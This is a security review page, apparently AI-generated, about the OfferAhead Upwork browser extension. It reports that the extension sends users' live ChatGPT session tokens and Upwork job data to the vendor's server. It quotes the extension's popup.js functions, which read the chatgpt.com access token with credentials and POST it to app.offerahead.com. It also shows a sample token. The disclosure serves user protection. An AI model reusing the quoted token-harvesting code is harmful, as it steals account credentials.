Is OfferAhead — Freelance Copilot safe?
OfferAhead sends your live ChatGPT access token to its own server every time you open the popup.
When a ChatGPT session is connected, the popup reads the access token, email, and avatar directly from a logged-in chatgpt.com session and posts them to OfferAhead's own backend (app.offerahead.com), which stores them server-side. This happens automatically on every popup open, not just when you first connect. Separately, on Upwork job listing pages the extension continuously collects job details (title, description, budget, client spend, region) and sends them to OfferAhead's telemetry endpoint regardless of whether the "Jobs screening" toggle is turned on.
Who publishes itcontact - no other listings under this identity
contact - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Connecting ChatGPT sends your live session token to OfferAhead's server
Clicking Connect ChatGPT reads your live chatgpt.com session token and sends it, with your email and avatar, to OfferAhead's own server, which stores it and resends it every time you reopen the popup.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You click Connect ChatGPT in the extension's popup while logged into chatgpt.com in this browser.
The popup frames this as letting drafting run on your own ChatGPT plan.
The extension reads your live chatgpt.com session token and posts it to OfferAhead's own server, which stores it.
The same request fires again, unprompted, every time you reopen the popup while connected.
- ChatGPT access tokeneyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyXzc3ZTIiLCJpYXQiOjE3MjU2NjcyMDB9.k3fA9pQmX2rT
The bearer token that logs in as you on chatgpt.com. Anyone holding it can act as your ChatGPT account.
- Account emailalex.chen@example.com
The email on your ChatGPT account, linked to the token in OfferAhead's own database.
- Avatar image URLhttps://lh3.googleusercontent.com/a/ACg8ocJxQK9F
Your ChatGPT profile picture link, shown in OfferAhead's dashboard next to your account.
popup.js reads the live ChatGPT token and posts it off device
readChatgptSession() reads the token from chatgpt.com
popup.jsasync function readChatgptSession() { for (const url of CHATGPT_SESSION_URLS) { try { const res = await fetch(url, { credentials: "include" }); if (!res.ok) continue; const data = (await res.json().catch(() => ({}))); if (typeof data.accessToken === "string" && data.accessToken) { const u = data.user ?? {}; return { accessToken: data.accessToken, user: { email: typeof u.email === "string" ? u.email : undefined, image: typeof u.image === "string" ? u.image : undefined, }, }; } } catch { // Host unreachable / not permitted, try the next. } } return null;}connectChatgpt() and refreshChatgpt() post the token to OfferAhead
popup.jsasync function connectChatgpt() { const session = await readChatgptSession(); if (!session) { paintChatgpt(false, null); return; } const res = await fetch(`${API_BASE}/api/extension/chatgpt`, { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ accessToken: session.accessToken, email: session.user.email, image: session.user.image, }), }); // ...}async function refreshChatgpt(session) { try { await fetch(`${API_BASE}/api/extension/chatgpt`, { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ accessToken: session.accessToken, email: session.user.email, image: session.user.image, }), }); } catch { // Best effort, the next popup open reconciles. }}On every browser startup
Resends the token, email, and avatar every time the popup opens while a connection is already stored, with no new click.
background.js has a separate ChatGPT path whose own comment says no token ever touches our infrastructure, calling chatgpt.com directly from the background worker. The popup flow above sends the token to OfferAhead's server instead.
- app.offerahead.com
OfferAhead's own backend. Receives and stores the live ChatGPT access token, account email, and avatar URL sent from the popup.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed offerahead-—-ai-proposals contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- app.offerahead.com
offerahead-—-ai-proposals sends data to app.offerahead.com. No other extension we have analyzed sends data here.